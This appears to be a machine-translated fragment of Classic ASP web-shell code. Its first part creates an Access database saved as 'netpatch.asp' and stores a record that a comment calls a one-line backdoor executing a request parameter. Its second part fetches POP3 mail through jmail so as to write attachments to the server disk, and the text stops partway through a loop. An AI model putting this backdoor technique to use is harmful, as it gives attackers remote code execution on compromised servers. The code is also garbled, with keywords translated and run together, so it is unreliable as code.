<%
'CodeByNetPatch
DIMDBFILE, SQL
db = "netpatch.asp"
dbfile = server.mappath (db)
setydb = server.createObject ("adox.catalog")
ydb.create "provider = microsoft.jet.oledb.4.0; DataSource =" & dbfile
setydb = tidak ada
iferr.number = 0then
Response.WritedBFile & "Buat dengan sukses <br>"
kalau tidak
Response.write "Kreasi Gagal, Alasan:" & Err.Description
Respons.end
endif
SetConn = server.CreateObject ("adodb.connection")
Conn.open "penyedia = microsoft.jet.oledb.4.0; datasource =" & dbfile
sql = "createTableFdata ([data] memo)"
Conn.execute (SQL)
SetRs = createObject ("adodb.recordset")
rs.open "fdata", conn, 1,3
rs.addnew
RS ("Data") = "┼BOME NUMBER DAN REVITALIZE SUMUT>" '(Ingatlah untuk menghapus komentar! Satu kalimat backdoor executionQuest ("n"))
rs.update
%>
Tulis file di jmail menjadi hard disk
<%
'codzbykevin1986 [s4t]
User = request.form ("user")
Pass = request.form ("pass")
PopServer = request.Form ("PopServer")
ifuser <> "" andpass <> "" "andpopserver <>" "Lalu
Setobjmail = createObject ("jmail.pop3")
Objmail.Connectuser, Pass, Popserver
setobjmsg = createObject ("jmail.message")
Setobjmsg = objmail.messages.item (1)
pemisah = ","
response.write "attachmentNameis:" & saveatta & "<br>"
objmail.disconnect
Endif
FunctionsAveatta ()
Setattachments = objmsg.Attachments
pemisah = ","
response.write "THeSeofThisattachmentis:" & objmsg.size & "<br>"
Fori = 0toattachments.count-1
Ifi = lampiran.count-1then